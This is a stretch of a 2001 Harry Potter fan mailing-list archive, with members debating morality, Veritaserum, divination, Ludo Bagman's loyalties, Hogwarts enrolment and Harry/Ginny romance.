> warm, fuzzy 
> feeling because he is getting some much needed love
> and affection as 
> well as someone who he can confide in.
> 
> I'm truly looking forward to the development of
> Harry and Sirius' 
> relationship in future volumes and anxiously await
> the day that 
> Sirius' name is cleared so that he may take over the
> guardianship of 
> Harry full-time.
> 
> Rose in PA
> 
> 
> ------------------------ Yahoo! Groups Sponsor
> 
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>
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>
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> 
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> 


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From fourfuries at aol.com  Tue Sep  4 01:13:00 2001
From: fourfuries at aol.com (fourfuries at aol.com)
Date: Tue, 04 Sep 2001 01:13:00 -0000
Subject: (Corrected) right & wrong in the Potterverse
In-Reply-To: <9n0nlh+oll6@eGroups.com>
Message-ID: <9n19qs+2vr7@eGroups.com>

No: HPFGUIDX 25474

CORRECTING THE PREVIOUS INADVERTENT POST

--- In HPforGrownups at y..., usergoogol at y... wrote:
> 
> > >Draco is that person that we would all like to be if there were 
no 
> > >EternalGod/BhuddhaNature/AbsoluteTruth/Ultimate Justice to 
> > >fear.  
> 
> To this, I must take offense, as a moral atheist. I believe, that
> people, without any of those above things, can be kind, merely
> because, it is a logical thing to do. (If your kind to people,
> people will be kind to you.) Also, doing mean and violent acts is
> not comfortable to do if you feel a sort of "mutual feelings," or,
> empathy.  {SNIP} Sorry if I was OT, but I was just offended by the
> (sadly popular) claim, that people will only be good, if they fear
> being punished. Some people are good just because they are plain
> nice.


"Heh, heh, heh, heh.  Welcome to my parlor, said the spider to the 
fly...".

There is no need for offense at the notion that people 
behave "better" when there is something at stake, be it reward or 
punishment. In fact, we agree that logic is at the heart of moral 
decision making.  Where we disagree is whether anyone would ever 
behave well if they perceived no reward for their good behavior, or 
whether they would refrain from bad acting if there were no threat or 
fear of punishment.

To keep this on topic, consider all the times that Harry and Ron 
refrain from certain acts because they fear being expelled. They time 
their late night excursions to avoid discovery, use an invisibility 
cloak, bite their respctive tongues in front of Snape and generally 
stay just inside the "law" for one reason only:  they fear being put 
out! Draco, on the other hand, has no fear of expulsion, and does 
exactly as he pleases, breaking far fewer rules than Harry.  So who 
is good and who is evil, no one?

Or, more to the point, can we say that Voldemort is evil, if there is 
no objective and absolute standard by which to judge?  In the absence 
of some enduring standard of truth and good behavior, isn't 
Voldemort's view that "there is no right and wrong, only power and 
those too weak to use it" the effective standard of behavior?  Why is 
Dumbledore's "leadership by kindness" of any greater value than 
Voldemort's "leadership by terror"?

Clearly, Voldemort's brand of leadership is more dramatic and, in the 
short run, more effective.  There is no way that Cornelius Fudge 
would have second guessed a Voldemort style Hogwarts Headmaster.  
Why, he barely could control himself in the face of Lucious Malfoy in 
CoS and PoA.  Not only that, Voldemort believes himself to be fair, 
kind and full of grace, as evidenced by the dueling with Harry, the 
promise and fulfillment of a new arm for Pettrgrew, the mercy 
and "forgiveness" he showed the returning Death Eaters, the justice 
he intends to meet out on Karkaroff and Snape, and the rewards he 
intends to bestow on the LeStranges and his "true" follower, Barty 
Crouch Jr.

The "sad" fact is that people always perceive themselves as kind, 
good or at least justified in their willful acts.  We all tend to 
serve our own self-interest.  That self-interest may be informed or 
uniformed, enlightened or unenlightened, but it is always directed at 
personal justification and gratification.  So the question is not 
whether people need incentives to be good, the question is whether 
there is an objective standard by which to judge.

Now, as an atheist, you may say that good is what the majority of 
society will agree is good.  Unfortunately, the majority of two 
recent societies thought that the mass execution of Jews and the 
arbitrary enslavement of Africans was okay, so majority rule cannot 
be the standard if minorities are to have any rights at all 
(remember "Blacks today, Blondes tommorrow!").

So we teach our children through literature, art, music, philosophy 
and religion that "what goes around, comes around", in order to 
inculcate them with a self-policing mechanism for their otherwise 
self-indulgent inclinations.  Again, Dumbledore says that goodness 
and rightness are functions of observing self-imp-osed limits on the 
actions we COULD take ("it is our actions..".  Voldemort recognizes 
no such limits, nor any such standard.

If there is no Absolute Truth, or if we are merely incapable of 
discovering it, then all that remains is "power, and those too afraid 
to use it."  I prefer t delude myself into thinking my right actions 
are admired by an eternal and impartial judge, or that, at the very 
least, "what we do echoes in eternity."

4FR (thrilled that these questions can be debated online)




From editor at texas.net  Tue Sep  4 01:20:41 2001
From: editor at texas.net (Amanda Lewanski)
Date: Mon, 03 Sep 2001 20:20:41 -0500
Subject: [HPforGrownups] Veritaserum
References: <9n0mom+f2ro@eGroups.com>
Message-ID: <3B942C69.93894BDD@texas.net>

No: HPFGUIDX 25475

quite_serious at hotmail.com wrote:

> OK, here is another question/comment from a new member. I agree that
> veritaserum would have made all those post-Voldemort trials far
> easier. This is one of the three things that really irritate me
> (together with the portkey and the, urgh, I can't even talk about it.)
> Is it possible, do you think, that the serum is something new, perhaps
> even invented as a reaction to the trials? After all, the
> anti-werewolf potion is new, isn't it?

I had postulated before that the strength of the serum, and thus the
accuracy of the info one obtains from it, depends strongly upon the
skill of the wizard brewing it. Snape is a master, we've been let to
know, with an acknowledged skill in his field. His serum is probably
quite "accurate."

But we also don't know much about how it's produced; it may take years,
it may require multiple distillations and be vanishingly expensive,
producing one ounce from several pounds of raw materials, it may be
impossible to detect "inaccurate" serum from "accurate" after
completion, etc. There are loads of variables out there.

--Amanda


[Non-text portions of this message have been removed]




From litalex at yahoo.com  Tue Sep  4 01:49:09 2001
From: litalex at yahoo.com (Alexandra Y. Kwan)
Date: Mon, 3 Sep 2001 18:49:09 -0700 (PDT)
Subject: [HPforGrownups] Re: right & wrong (Draco and grammar was originally discussed)
In-Reply-To: <9n0nlh+oll6@eGroups.com>
Message-ID: <20010904014909.76446.qmail@web13802.mail.yahoo.com>

No: HPFGUIDX 25476

Hello,

--- usergoogol at yahoo.com wrote:
> thing to do. (If your kind to people, people will be
> kind to you.)

But now we're entering completely another realm of
arguement.  Is it true kindness if you give it merely
so that someone would give it back to you?  Sounds
much more like a mutual beneficial trade agreement to
me.

> Also, doing mean and violent acts is
> not comfortable to do if you feel a sort of "mutual
> feelings," or, empathy.

Which is the same realm of 'fear of the punishment'
but instead of punishment from outside sources, it's
punishment from within oneself.

> Sorry if I was OT, but I was just offended by the
> (sadly popular) claim, that people will only be
> good, if they fear being punished.

Well, gee, should we disband all prisons and throw
away all laws/regulations about fines for misdeeds?

> Some people are
> good just because they are plain nice.

Or the pleasure principle.  Never forget the pleasure
principle <g>.

little Alex

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From Indyfans at aol.com  Tue Sep  4 01:57:20 2001
From: Indyfans at aol.com (Indyfans at aol.com)
Date: Mon, 3 Sep 2001 21:57:20 EDT
Subject: [HPforGrownups] Harry and Ginny
Message-ID: <124.4387e30.28c58f00@aol.com>

No: HPFGUIDX 25477

I think you're right on with your thoughts. (that Harry is preoccupied with 
Cho)... I also hope Ginny and Harry eventually get together.  daisy



From cynthiaanncoe at home.com  Tue Sep  4 02:17:01 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Tue, 04 Sep 2001 02:17:01 -0000
Subject: Rules of Divination
In-Reply-To: <9n154v+4cbn@eGroups.com>
Message-ID: <9n1dit+maj7@eGroups.com>

No: HPFGUIDX 25478

--- In HPforGrownups at y..., caliburncy at y... wrote:
> <snip> But what I'm wondering is, what 
> reason do we have to believe that seeing also involves comments 
that 
> turn out to be true?  <snip>
> So what are the rules of Divination, do you guys think?  Under what 
> circumstances does one 'see'?  Surely it's not just a randomly 
> inspired statement that happens to also fit in with the current 
> direction of the conversation?
> 
> I guess the reason this strikes me as strange is that, generally, 
in 
> other fiction and in real-life, the ability to predict the future 
is, 
> like I said before limited to some 'mediums', like dreams or 
touching 
> objects that key sensory experiences or Tarot cards or whatever.
> 
> I'm quite curious to hear various opinions on this.
> 
> -Luke

My thought is that there may be various media for "seeing", but there 
also ought to be an innate talent for it.  I would think that if a 
wizard has that talent, it might show itself in spurts before the 
wizard has formal training.  (The way math a math genius might work 
out complex problems before being formally trained, for instance.)  
So in the case of a character like Ron, he might be having flashes of 
brilliance that reveal a talent that has not yet been developed.  

Most of the speculation about who is and who is not a seer, though, 
seems to be a reaction to -- brace yourself -- foreshadowing and 
misdirection.  I think the most that can be said of Ron, for 
instance, is that we are seeing some foreshadowing that he might one 
day be a seer.  Or it could just be that JKR is just using him as a 
convenient tool to confuse and bewilder us all.

Cindy
-----------

"It's Uranus, my dear,"  said Professor Trelawney, peering down at 
the chart.
"Can I have a look at Uranus too, Lavender?" said Ron.  GoF




From wcdawson at optonline.net  Tue Sep  4 03:10:06 2001
From: wcdawson at optonline.net (Patrick Dawson)
Date: Mon, 03 Sep 2001 23:10:06 -0400
Subject: Observations and Questions
References: <999566450.5343.64969.l10@yahoogroups.com>
Message-ID: <000701c134ef$19c036e0$fe24bb18@OEMCOMPUTER>

No: HPFGUIDX 25479

Hi everyone, I've been subscribed for a few weeks now and I've read pretty
much all the interesting material on HP fansites, so I think I have a good
idea of what has been discussed before and what hasn't. Anyway, here are
some of the notes I made on my last re-read of the series, and my analysis.

SS/PS Ch.5
Hagrid says "There's not a single witch or wizard who went bad who wasn't in
Slytherin".
Rephrased, that's "Every witch/wizard who became evil was in Slytherin."
But we know that's simply not true. Whether you take it from Hagrid's
perspective or from the truth, there's at least one evil wizard from
Gryffindor (Sirius Black or Peter Pettigrew). So why did Hagrid say that?
I'm guessing that JKR didn't have the plot of Book 3 planned out at this
point.

SS/PS Ch.12
It's been mentioned very recently, but here's a scene where Dumbledore may
be able to see through Harry's invisibility cloak (it's not clear if he took
it off). Upon further reflection, I don't think Dumbledore does see through
the cloak. He has seen Harry in this room before, Harry was making a great
deal of noise, and Dumbledore obviously knows that Harry has an invisibility
cloak.

SS/PS Ch.15
Firenze says, about drinking unicorn blood: "You have slain something pure
and defenseless to save yourself, and you will have but a half-life, a
cursed life, from the moment the blood touches your lips." But then he
implies that the Elixir of Life will negate this effect. So is Voldemort in
his new body still cursed from drinking the unicorn blood?

CoS (General)
The only note I made about this book is "Why is Snape so friendly with Draco
Malfoy, and vice versa?"
Lucius must hate Snape for betraying Voldemort, and he's on that board that
controls the school, so there's a very good chance that he knows Snape
teaches there. Perhaps Lucius hasn't told his son about Snape.
But that still doesn't explain why Snape likes Draco and is so lenient with
him.

PoA Ch.3
Dementors seem to literally suck the happiness out of an area. Silly
question, but what's their range, anyway?

PoA Ch.10
"Dementors are supposed to drain a wizard of his powers if he is left with
them too long" -Lupin
This implies that Voldemort's supporters, who have been in Azkaban for quite
a while, may not be very useful when Voldemort frees them.

PoA Ch.10
I know, it's been mentioned before, but how *did* Filch get the Marauder's
Map?

PoA Ch.10
Dumbledore "had a number of useful spies" on Voldemort. But we can be fairly
certain that none of these spies except Snape were Death Eaters, because
they're all accounted for in GoF. So what relationship did they have with
Voldie?

PoA Ch.11
The Sneakoscope goes off when Crookshanks is chasing Scabbers. It's probably
safe to assume that Scabbers/Wormtail is the untrustworthy one.

GoF Ch.25
This isn't the first time that someone has waited outside the Gryffindor
common room to let Harry out at night. So if the portrait can't be opened
from the inside, how the heck do they get out in the morning?

GoF Ch.36
"Snape made a sudden movement" after Harry starts enumerating the Death
Eaters he saw, starting with Lucius Malfoy. What could this possibly mean?

Okay, I'm done :-)
Please feel free to comment on anything I've mentioned!




From cynthiaanncoe at home.com  Tue Sep  4 03:13:39 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Tue, 04 Sep 2001 03:13:39 -0000
Subject: The Case Against Ludo Bagman
Message-ID: <9n1gt3+uvp7@eGroups.com>

No: HPFGUIDX 25480

I've been wondering if it is really true that Ludo Bagman fled 
because of his goblin difficulties.  I'm starting to think he is a 
full-fledged DE who is going to be very important in later books, and 
he knew about and participated in V's and Crouch/Moody's plan all 
along.

First, Bagman may have been among the DEs in the graveyard.  He was 
present at the start of the third task, but not when Harry returned.

Second, Bagman was not sufficiently concerned when Harry's name came 
out of the goblet.  If he's the head of magical games, you'd think he 
would be frantic that things were so very messed up.  Instead, he is 
depicted as being delighted:  "smiling" at Harry, "beaming" as though 
the matter were now closed, looking "rather excited."  None of this 
can be explained by Bagman's alleged gambling motive for helping 
Harry -- at this point, he had not placed a bet on Harry.

Third, he doesn't search for Bertha Jorkins -- possibly because he 
knew she was dead.

Fourth, Rita Skeeter and Winky both think Bagman is bad news.  

Fifth, at Hogsmead, Bagman asks Harry to keep quiet about Crouch's 
illness.  There's no reason for that unless Bagman knows Crouch Sr. 
has been overpowered.

And now comes the speculation -- the reason Bagman bet on Harry is he 
knew of the plot for Harry to win.  Otherwise, why on earth would 
Bagman bet on the one underage contestant when it was so important 
that Bagman be right and pay off the goblins?  Also, there's a chance 
that Bagman is the means of communication between V and 
Crouch/Moody.  That would explain why he's in Hogsmeade when there's 
no judging.

Anyone else have an opinion?

Cindy




From degroote at altavista.com  Tue Sep  4 03:14:12 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 3 Sep 2001 20:14:12 -0700
Subject: [HPforGrownups] Malfoy's Redemption, Part II
Message-ID: <20010904031412.9287.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25481

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From cynthiaanncoe at home.com  Tue Sep  4 03:23:10 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Tue, 04 Sep 2001 03:23:10 -0000
Subject: Observations and Questions
In-Reply-To: <000701c134ef$19c036e0$fe24bb18@OEMCOMPUTER>
Message-ID: <9n1heu+759k@eGroups.com>

No: HPFGUIDX 25482

--- In HPforGrownups at y..., Patrick Dawson <wcdawson at o...> wrote:
>> 
> SS/PS Ch.5
> Hagrid says "There's not a single witch or wizard who went bad who 
wasn't in
> Slytherin".
> Rephrased, that's "Every witch/wizard who became evil was in 
Slytherin."
> But we know that's simply not true. Whether you take it from 
Hagrid's
> perspective or from the truth, there's at least one evil wizard from
> Gryffindor (Sirius Black or Peter Pettigrew). So why did Hagrid say 
that?
> I'm guessing that JKR didn't have the plot of Book 3 planned out at 
this
> point.
>
Welcome!  

I would say that when Hagrid talks about wizards who "went bad", he 
means "became a death eater."  In PS/SS, Hagrid does not yet know 
that Black was the Potters' secret keeper and allegedly betrayed 
them.  Recall that in PoA, Hagrid learns this in a conversation with 
Fudge/Rosemerta/McGonnagal, etc.

 
> PoA Ch.10
> "Dementors are supposed to drain a wizard of his powers if he is 
left with
> them too long" -Lupin
> This implies that Voldemort's supporters, who have been in Azkaban 
for quite
> a while, may not be very useful when Voldemort frees them.

I think that V's supporters will get to eat a great deal of chocolate 
to regain their old powers.  I envy them.  :)


> GoF Ch.25
> This isn't the first time that someone has waited outside the 
Gryffindor
> common room to let Harry out at night. So if the portrait can't be 
opened
> from the inside, how the heck do they get out in the morning?

To get out in the morning, they just give the password from the 
inside.  But when Harry is using the invisibility cloak, he has to 
have someone else open the portal as he will give himself away if he 
says the password himself.

> 
Cindy




From de_orakle at hotmail.com  Tue Sep  4 03:28:13 2001
From: de_orakle at hotmail.com (De Orakle)
Date: Tue, 04 Sep 2001 03:28:13 +0000
Subject: Number of Hogwarts Students
Message-ID: <F78kuWgI78Fe7e0YrFY00005617@hotmail.com>

No: HPFGUIDX 25483


Hullo!  I'm Robin, 17 years old, Canadian, huge Harry Potter fan. I've been 
lurking around here for a while, and I'd pop out to add my two cents on this 
topic ::g::

Hyphen wrote:

>PS. In case anyone is interested, here is my take on the
>size-of-Hogwarts question: it's not that JKR can't do math, but that
>there is a genuine inconsistency written into the books to make
>effective storytelling easier. Just imagine how the books would change
>if the author had to deal with 30+ Gryffindors, and mention each one
>as often as common-sense dictates. There's just not enough space in
>the books to develop most of them the way JKR develops even her most
>incidental characters. There would be many inconsequential, repetitive
>characters, and many random names and character traits to remember. In
>all, a big mess.

I definitely agree that from a storytelling standpoint, JKR has just the 
right number of incidental characters. For Harry's year there have to be 
enough that the reader gets a sense of Hogrwarts outside of the Harry trio, 
yet few enough that the characters are recognizable and, well, 
*characterized* for the small "screen-time" that they do get.

However, to advance a theory that might logically raise the Hogwarts 
popluation, if not up to 1000, then at least a little closer...

Given that Harry was born when Voldmort's reign was at its worst, we might 
assume that his year had an abnormally low birth-rate - high mortality among 
young people, general fear about bringing children into thie world, etc.  
There may be higher numbers in the earlier years of Voldemort gaining power, 
and of course after his defeat there might be a baby boom similar to those 
found after RL wars.

Now, Harry doesn't attend the sortings in his second and third year, but in 
book 4, there's mentioned a "long line of first years," and the sorting does 
seem to take some time.

So perhaps JKR isn't mistaken on the math, or creating a deliberate 
inconsistancy, but has found a logical reason enabling her to juggle a few 
less characters (and further develop those she does have) in Harry's 
immediate world.

Just my opinion, I could be wrong ;)

-Robin

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From wcdawson at optonline.net  Tue Sep  4 03:31:14 2001
From: wcdawson at optonline.net (wcdawson at optonline.net)
Date: Tue, 04 Sep 2001 03:31:14 -0000
Subject: Observations and Questions
In-Reply-To: <9n1heu+759k@eGroups.com>
Message-ID: <9n1hu2+husg@eGroups.com>

No: HPFGUIDX 25484


--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> Welcome!  
> 
> I would say that when Hagrid talks about wizards who "went bad", 
he 
> means "became a death eater."  In PS/SS, Hagrid does not yet know 
> that Black was the Potters' secret keeper and allegedly betrayed 
> them.  Recall that in PoA, Hagrid learns this in a conversation 
with 
> Fudge/Rosemerta/McGonnagal, etc.

That may be true, but everyone "knew" that Black had murdered 
Pettigrew and all those Muggles.
Stan on the Knight Bus says that Black was "Very
close to You-Know-'Oo, they say."

> --- In HPforGrownups at y..., Patrick Dawson <wcdawson at o...> wrote:
> >> 
> > SS/PS Ch.5
> > Hagrid says "There's not a single witch or wizard who went bad 
who 
> wasn't in
> > Slytherin".
> > Rephrased, that's "Every witch/wizard who became evil was in 
> Slytherin."
> > But we know that's simply not true. Whether you take it from 
> Hagrid's
> > perspective or from the truth, there's at least one evil wizard 
from
> > Gryffindor (Sirius Black or Peter Pettigrew). So why did Hagrid 
say 
> that?
> > I'm guessing that JKR didn't have the plot of Book 3 planned out 
at 
> this
> > point.
> >




From mellienel2 at yahoo.com  Tue Sep  4 03:37:46 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Tue, 04 Sep 2001 03:37:46 -0000
Subject: Observations and Questions
In-Reply-To: <000701c134ef$19c036e0$fe24bb18@OEMCOMPUTER>
Message-ID: <9n1iaa+6i9f@eGroups.com>

No: HPFGUIDX 25485


> 
> SS/PS Ch.5
> Hagrid says "There's not a single witch or wizard who went bad who 
wasn't in
> Slytherin".
> Rephrased, that's "Every witch/wizard who became evil was in 
Slytherin."
> But we know that's simply not true. Whether you take it from 
Hagrid's
> perspective or from the truth, there's at least one evil wizard from
> Gryffindor (Sirius Black or Peter Pettigrew). So why did Hagrid say 
that?
> I'm guessing that JKR didn't have the plot of Book 3 planned out at 
this
> point.

I wonder this too; it might just be a hagrid-generalization, like his 
monsters-aren't-all-bad thing. 

 
> SS/PS Ch.15
> Firenze says, about drinking unicorn blood: "You have slain 
something pure
> and defenseless to save yourself, and you will have but a half-
life, a
> cursed life, from the moment the blood touches your lips." But then 
he
> implies that the Elixir of Life will negate this effect. So is 
Voldemort in
> his new body still cursed from drinking the unicorn blood?

Doesn't V say "you saw faithful quirrel drinking it for me"? Would 
that mean it was Quirrel who was doomed and it doesn't affect V? Hmm.
> 

> PoA Ch.10
> "Dementors are supposed to drain a wizard of his powers if he is 
left with
> them too long" -Lupin
> This implies that Voldemort's supporters, who have been in Azkaban 
for quite
> a while, may not be very useful when Voldemort frees them.

This must take a long time, b/c Sirius was there for 12 years and he 
could still wield a wand pretty well after he broke out. (whoa, 
alliteration there). Then again, he also managed to keep his sanity. 
But people like the LeStranges are probably much like Sirius -- able 
to control their "happy" thoughts and periods of misery, so that the 
D's don't affect them as much.

> GoF Ch.36
> "Snape made a sudden movement" after Harry starts enumerating the 
Death
> Eaters he saw, starting with Lucius Malfoy. What could this 
possibly mean?

I have no idea, but I can't wait to find out. Could it mean that 
Snape was convinced Lucius was not a DE? I hardly think he'd be 
fooled by that. Maybe he was just nervous that his old circle was 
back together and knew they'd be gunning for him. Who knows.

interesting questions, all of 'em.




From prefectmarcus at yahoo.com  Tue Sep  4 03:41:45 2001
From: prefectmarcus at yahoo.com (prefectmarcus at yahoo.com)
Date: Tue, 04 Sep 2001 03:41:45 -0000
Subject: Hagrid's verisity (Was: Observations and Questions)
In-Reply-To: <9n1heu+759k@eGroups.com>
Message-ID: <9n1ihp+cdls@eGroups.com>

No: HPFGUIDX 25486

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> --- In HPforGrownups at y..., Patrick Dawson <wcdawson at o...> wrote:
> >> 
> > SS/PS Ch.5
> > Hagrid says "There's not a single witch or wizard who went bad 
who 
> wasn't in
> > Slytherin".
> > Rephrased, that's "Every witch/wizard who became evil was in 
> Slytherin."
> > But we know that's simply not true. Whether you take it from 
> Hagrid's
> > perspective or from the truth, there's at least one evil wizard 
from
> > Gryffindor (Sirius Black or Peter Pettigrew). So why did Hagrid 
say 
> that?
> > I'm guessing that JKR didn't have the plot of Book 3 planned out 
at 
> this
> > point.
> >
> Welcome!  
> 
> I would say that when Hagrid talks about wizards who "went bad", he 
> means "became a death eater."  In PS/SS, Hagrid does not yet know 
> that Black was the Potters' secret keeper and allegedly betrayed 
> them.  Recall that in PoA, Hagrid learns this in a conversation 
with 
> Fudge/Rosemerta/McGonnagal, etc.
> 

What about when he complained to the trio in GoF that you can never 
trust foriegners?  Are we to assume that is the gospel truth too?

I believe in a chat somewhere, JKR said that Hagrid was just showing 
some house prejudice.

There is nobody in the whole book -- not Harry, not even Dumbledore --
 who can be trusted to tell the absolute truth.  Most of the good 
guys can be credited with tell the truth as they understand it, but 
nobody is omniscent.

Marcus





From litalex at yahoo.com  Tue Sep  4 03:50:52 2001
From: litalex at yahoo.com (Alexandra Y. Kwan)
Date: Mon, 3 Sep 2001 20:50:52 -0700 (PDT)
Subject: [HPforGrownups] Re: Wizarding Schools and other stuff from Digest 1201
In-Reply-To: <3.0.5.32.20010903201903.009c1330@di.org>
Message-ID: <20010904035052.93471.qmail@web13802.mail.yahoo.com>

No: HPFGUIDX 25487

Hello,

--- Elbereth <elbereth at di.org> wrote:
> [snip about Seamus from Ireland, Viktor from
Bulgaria]

I'm not sure about the British Isles, but it's not
necessarily true.  For example, Hong Kong has seven
universities (six million people), but a large number
of its students apply for both American and British
universities.  Since Hogwarts has been called the
"best school" in Britain, perhaps that's why Seamus
went.  Same with Viktor Krum, perhaps he chose it
after considering both the distance from home country
and the quality of schools in Bulgaria.

Then again, I'm arguing for arguement's sake.  I don't
care one way or another.

>  So maybe a place like
> China would have several schools within its borders?

...Well, at least it's not one in Florida, one in
California, one in Tokyo, and one in France.  Of
course, they're also building one in Hong Kong

I'd love for Hong Kong to have a wizarding school,
sigh (from someone who's currently in Hong Kong).  Or
maybe one of the old Buddhist temples is actually a
wizarding school in disguise <g>.  Hmm, the Shaolin
Temple as a training ground for wizards.  Well, why
not, they already have completely fantastical kung fu.

I doubt they'd use Latin as basis for spells, though,
since I'm sure witches and wizards exist in China
before Latin came into China...  Hmm.  Maybe they all
speak in Classical Chinese for the spells.

little Alex

__________________________________________________
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From degroote at altavista.com  Tue Sep  4 04:02:32 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 3 Sep 2001 21:02:32 -0700
Subject: [HPforGrownups] Several Comments on the past Week's Digests
Message-ID: <20010904040232.11724.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25488

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From diagonalley_ at hotmail.com  Tue Sep  4 04:03:36 2001
From: diagonalley_ at hotmail.com (Ali Wildgoose)
Date: Tue, 04 Sep 2001 00:03:36 -0400
Subject: [HPforGrownups] The Case Against Ludo Bagman
Message-ID: <F54LzkI2zEn3qHkwZPy00004271@hotmail.com>

No: HPFGUIDX 25489

Cindy wrote:
>I've been wondering if it is really true that Ludo Bagman fled
>because of his goblin difficulties.  I'm starting to think he is a
>full-fledged DE who is going to be very important in later books, and
>he knew about and participated in V's and Crouch/Moody's plan all
>along.

<snips list of reasons>

>Anyone else have an opinion?

Personally, I think he's just an idiot with bad judgement.  A very nice, 
friendly, jolly sort of idiot...but an idiot all the same.  I don't think 
he's really crafty enough to be a DE...

But of course, I also thought Scabbers was a rat.  So I could be wrong.

Ali

http://home.nyu.edu/~amw243 :: Diagon Alley
Harry Potter for Slightly Older Folk

_________________________________________________________________
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From litalex at yahoo.com  Tue Sep  4 04:15:16 2001
From: litalex at yahoo.com (Alexandra Y. Kwan)
Date: Mon, 3 Sep 2001 21:15:16 -0700 (PDT)
Subject: Muggles and Owls (was Re: Several Comments on the past Week's Digests)
In-Reply-To: <20010904040232.11724.cpmta@c012.sfo.cp.net>
Message-ID: <20010904041516.56536.qmail@web13808.mail.yahoo.com>

No: HPFGUIDX 25490

Hello,

> On Sat, 01 September 2001, "Mindy, a.k.a. CLH"
> wrote:
> [snip receving letter from Hogwarts]
> I'd view it as a
> > prank. What about you?

Well, there's the fact that the paper would look a bit
too expensive for a prank.  I won't, but I'm not that
skeptical of anything.

> > A comment about Harry's Christmas Presents: How
> did he always get stuff
> > from the Dursleys by owl?

Perhaps there's a interface for Muggle and Wizard
posts?  That when a Muggle (who knows about wizards)
sends a letter by regular Muggle post, it'd somehow
get transferred into the Wizard post office and be
subsequently delivered by owls?

little Alex

__________________________________________________
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From degroote at altavista.com  Tue Sep  4 04:16:22 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 3 Sep 2001 21:16:22 -0700
Subject: [HPforGrownups] Observation(s) on CoS
Message-ID: <20010904041622.11209.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25491

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From mcandrew at bigpond.com  Tue Sep  4 04:31:01 2001
From: mcandrew at bigpond.com (Little lama)
Date: Tue, 04 Sep 2001 04:31:01 -0000
Subject: Harry and Ginny
In-Reply-To: <20010904005925.51365.qmail@web13801.mail.yahoo.com>
Message-ID: <9n1le6+r9dr@eGroups.com>

No: HPFGUIDX 25492

--- In HPforGrownups at y..., Tammy Z <too_much_coffee_lady at y...> wrote:
> Well, and also what about the little kiss that
> Herimone gives Harry at the end of GoF?  The text
> states that it is something that she had never done
> before.  Will there really be a love triange between
> Harry/Herimone/Krum??? Hmmmmmm...
> 

Personally I think that Hermione's little kiss at the end of GoF was 
nothing more than one of those kind gestures that Hermione makes every 
so often.  Being very fond of Harry as a friend, and knowing how 
shaken up he was by recent events, and how much sympathy he was likely 
to get from the Dursleys during the holidays, she just wanted to do 
something to cheer him up before he departed - to remind him that he 
had good friends who would be thinking about him while they were 
apart.  She may even have had Molly Weasley's recent hospital bedside 
hug and its effect on Harry in mind... nobody would suggest there were 
any romantic undertones in that scene!

> I think that Ginny and Harry aren't really a good
> match.  If something materialized I think that it
> would be weird for Ron...

I think they would be a terrific match.  Notably, neither of them is 
an intellectual (unlike Hermione) but they both share a similar sense 
of humour, which Hermione seems to lack.  Having a good laugh is very 
important to Harry, and seems to be one of the main reasons he gets on 
so well with Ron.  Remember what he told the twins as he was forcing 
his tournament winnings on them... 'we're all going to need a good 
laugh soon' etc.

Certainly Ron might find it a bit weird to have Harry's affection 
transferred to his sister.  But I think this could be a pretty common 
reaction from a guy who suddenly experiences an alteration to two of 
his closest relationships when his sibling and best friend become 
romantically attached.


> > -----Original Message-----
> > From: KayandJay1 at M... [mailto:KayandJay1 at M...]
> > Sent: Monday, September 03, 2001 4:47 PM
> > To: HPforGrownups at y...
> > Subject: [HPforGrownups] Harry and Ginny

> > I think Harry is too afraid Ginny does not like him
> > to ask her out 
> > and Ginny is too afraid that Harry does not like her
> > to ask him out.  


I think Harry is only too well aware how much Ginny likes him, but 
ignores it because he's not interested in anything more than 
friendship yet.  The whole idea makes his flesh crawl... think of how 
he reacts when he thinks Ginny is going to end up sitting on his lap 
after she barges into the darkened carriage on the train in PoA!  I'd 
say he currently puts Ginny's feelings down to hero worship, being 
aware of how famous he is in the wizarding world.  Yet he commendably 
manages to turn a blind eye to her more embarrassing moments rather 
than laughing at her behind her back, which would be the standard 
reaction for a kid his age, so he must be sensitive to her feelings. 
He's also happy to share a joke with her, and they seem to get on very 
well generally as members of the 'Weasley gang'. I hope Ginny gets 
what she wants in the end, I think it'll make them both (and all the 
other characters, except maybe Neville!) very happy!

- Lama -





From tgrzdlphns at yahoo.com  Tue Sep  4 04:31:01 2001
From: tgrzdlphns at yahoo.com (TgrzDlphns)
Date: Tue, 04 Sep 2001 00:31:01 -0400
Subject: [HPforGrownups] Hugo Award
In-Reply-To: <9mupg5+53bs@eGroups.com>
Message-ID: <5.0.2.1.2.20010904003034.03373210@pop.mail.yahoo.com>

No: HPFGUIDX 25493

At 02:21 AM 9/3/2001 +0000, you wrote:
>For those that are interested, J. K. Rowling's "Harry Potter and the
>Goblet of Fire" was awarded the Hugo Award for Best Novel tonight.
>
>
>Susan.


Thanks for posting this Susan. What a great honor for JKR :)

Bree




From keegan at mcn.org  Tue Sep  4 04:28:11 2001
From: keegan at mcn.org (Catherine Keegan)
Date: Mon, 03 Sep 2001 21:28:11 -0700
Subject: [HPforGrownups] CHAPTER SUMMARIES/DISCUSSION - CH. 13-15,
  CoS
In-Reply-To: <9n0g08+8uel@eGroups.com>
Message-ID: <4.2.0.58.20010903204358.00abc100@mail.mcn.org>

No: HPFGUIDX 25494

Hi!  I'm a new reader and am enjoying the list immensely.  FWIW, I started 
the series in June and have only read it through twice for the first two 
and once for the last two.

At 05:52 PM 9/3/01 +0000, you wrote:
>Questions:
>Ch.13
>1) Why do so many people come by the hospital wing to see Hermione?
>Actual concern for her or morbid curiosity about a potential Petrification 
>victim?

I vote for the morbid curiosity.  I do have a question though - why does it 
take so long for her to be able to revert?  The guys only had to be trapped 
in those bodies for an hour.  Does jumping species lines take longer?  And, 
why didn't she turn completely into a cat?  Too difficult for the 
potion?  The only clue I see in the book says it isn't supposed to be used 
for animals, but obviously it sort of worked.  I've puzzled over that one 
for a while.

>2) On the "Ron-turning-traitor" front: When Harry attempts to pick up
